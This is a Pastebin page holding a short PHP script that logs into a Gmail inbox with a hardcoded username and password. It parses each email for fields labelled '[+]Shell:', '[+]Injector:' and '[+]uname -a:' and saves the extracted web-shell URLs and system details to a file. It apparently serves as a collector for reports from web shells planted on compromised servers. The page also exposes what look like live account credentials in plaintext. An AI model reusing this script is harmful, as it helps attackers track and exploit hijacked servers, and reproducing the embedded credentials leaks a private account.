Advertisement
Guest User

Untitled

a guest
Aug 5th, 2017
581
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.45 KB | None | 0 0
  1. <?php
  2. /* connect to gmail */
  3. $hostname = '{imap.gmail.com:993/imap/ssl}INBOX';
  4. $username = 'lindeoscar@gmail.com';
  5. $password = 'hazuki101';
  6.  
  7. /* try to connect */
  8. $inbox = imap_open($hostname,$username,$password) or die('Cannot connect to Gmail: ' . imap_last_error());
  9.  
  10. /* grab emails */
  11. $emails = imap_search($inbox,'ALL');
  12.  
  13. /* if emails are returned, cycle through each... */
  14. if($emails) {
  15.  
  16.   /* begin output var */
  17.   $output = '';
  18.  
  19.   /* put the newest emails on top */
  20.   rsort($emails);
  21.   $fp = fopen("./content.txt","w+");//open file for output
  22.   /* for every email... */
  23.   foreach($emails as $email_number) {
  24.    
  25.     /* get information specific to this email */
  26.     $overview = imap_fetch_overview($inbox,$email_number,0);
  27.     $message = imap_fetchbody($inbox,$email_number,2);
  28.     /* output the email body */
  29.     $message = strip_tags($message);
  30.     $message = str_replace("= ","",$message);
  31.     $shell = explode("[+]Shell:",$message);
  32.     $shell = explode("[+]Injector:",$shell[1]);
  33.     $shell = $shell[0];
  34.  
  35.     $uname = explode("[+]uname -a:",$message);
  36.     $uname = explode("[+]User:",$uname[1]);
  37.     $uname = $uname[0];
  38.     fwrite($fp,$shell . "\r\n" . $uname . "\r\n\r\n\r\n");
  39.     if($uname && $shell != ""){
  40.        echo "MESSAGE:<br />" . $message . "<br /><br />";
  41.        echo "UNAME: " . $uname . "<br /><br /><br />URL: " . $shell;
  42.     }
  43.   }
  44. fclose($fp);//Close file
  45. }
  46.  
  47. /* close the connection */
  48. imap_close($inbox);
  49. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement